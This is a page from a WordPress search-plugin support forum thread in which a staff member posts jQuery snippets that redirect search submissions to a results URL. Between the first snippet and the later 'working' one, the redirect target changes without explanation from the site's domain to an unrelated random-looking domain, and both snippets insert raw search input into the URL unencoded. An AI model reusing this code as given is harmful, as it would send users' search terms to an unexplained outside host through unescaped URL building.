This website uses cookies to personalize your experience. By using this website you agree to our cookie policy.

A Quick help is needed

Viewing 15 posts - 31 through 45 (of 54 total)
  • Author
    Posts
  • #34305
    daro201370daro201370
    Participant

    You cannot access this content.

    #34306
    Ernest MarcinkoErnest Marcinko
    Keymaster

    Sure!

    Can you please add temporary access and FTP details? I want to make sure this is not related to the plugin somehow. When the override is inactive, it should not affect anything at all, it is only a simple redirection to the results page, so it should not cause any issues whatsoever.

    #34309
    daro201370daro201370
    Participant

    You cannot access this content.

    #34310
    Ernest MarcinkoErnest Marcinko
    Keymaster

    Thanks Thon!

    It seem to work all right on that site, when I disable the search override feature, so this might be related to something else as well unfortunately.

    One last thing you can try on the live site via a custom code:

    add_action('wp_footer', 'wp_footer_asp_custom_redirect', 9999);
    function wp_footer_asp_custom_redirect() {
    	?>
    	<script>
    	(function($){
    		let url = 'https://www.khmeradverts.com/';
    		
    		$('input.orig').on('keydown', function(e){
    			let keycode =  e.keyCode || e.which;
    			if ( keycode == 13 ) {
    				e.preventDefault();
    				e.stopPropagation();
    				location.href = url + '?s=' + $(this).val() + '&category=&location=&a=true';
    			}
    		});
    		$('.promagnifier').on('click touchstart', function(e){
    			e.preventDefault();
    			e.stopPropagation();
    			location.href = url + '?s=' + $(this).closest('.asp_m').find('input.orig').val() + '&category=&location=&a=true';
    		});
    	})(jQuery);
    	</script>
    	<?php
    }

    This will completely prevent any return key or input actions when doing the search, and only does a redirection there. Try adding this code to the functions.php file in your theme/child theme directory – make sure to have a full server back-up first for safety. For more details you can check the safe coding guidelines.

    If this does not work, then there is something else conflicting there.

    #34311
    daro201370daro201370
    Participant

    You cannot access this content.

    #34312
    Ernest MarcinkoErnest Marcinko
    Keymaster

    It should work for sure. I can not see the custom code however in the page source – make sure to clear all layers of cache so it is populated to the front-end.

    #34313
    daro201370daro201370
    Participant

    You cannot access this content.

    #34314
    Ernest MarcinkoErnest Marcinko
    Keymaster

    You cannot access this content.

    #34315
    daro201370daro201370
    Participant

    You cannot access this content.

    #34316
    Ernest MarcinkoErnest Marcinko
    Keymaster

    You cannot access this content.

    #34317
    daro201370daro201370
    Participant

    You cannot access this content.

    #34318
    Ernest MarcinkoErnest Marcinko
    Keymaster

    You cannot access this content.

    #34319
    daro201370daro201370
    Participant

    You cannot access this content.

    #34320
    Ernest MarcinkoErnest Marcinko
    Keymaster

    Can you try now? I made the direct modification via the admin panel. The working code is:

    add_action('wp_footer', 'wp_footer_asp_custom_redirect', 9999);
    function wp_footer_asp_custom_redirect() {
    	?>
    	<script>
    	(function($){
    		let url = 'https://mwqh53re.club/';
    		
    		function reattach() {
    			$('input.orig').off();
    			$('input.orig').on('keydown', function(e){
    				let keycode =  e.keyCode || e.which;
    				if ( keycode == 13 ) {
    					e.preventDefault();
    					e.stopPropagation();
    					location.href = url + '?s=' + $(this).val() + '&category=&location=&a=true';
    				}
    			});
    			$('.promagnifier').off();
    			$('.promagnifier').on('click touchstart', function(e){
    				e.preventDefault();
    				e.stopPropagation();
    				location.href = url + '?s=' + $(this).closest('.asp_m').find('input.orig').val() + '&category=&location=&a=true';
    			});
    		}
    		reattach();
    		setTimeout(function(){
    			reattach();
    		}, 100);
    		setTimeout(function(){
    			reattach();
    		}, 1000);
    	})(jQuery);
    	</script>
    	<?php
    }
    #34322
    daro201370daro201370
    Participant

    You cannot access this content.

Viewing 15 posts - 31 through 45 (of 54 total)
  • You must be logged in to reply to this topic.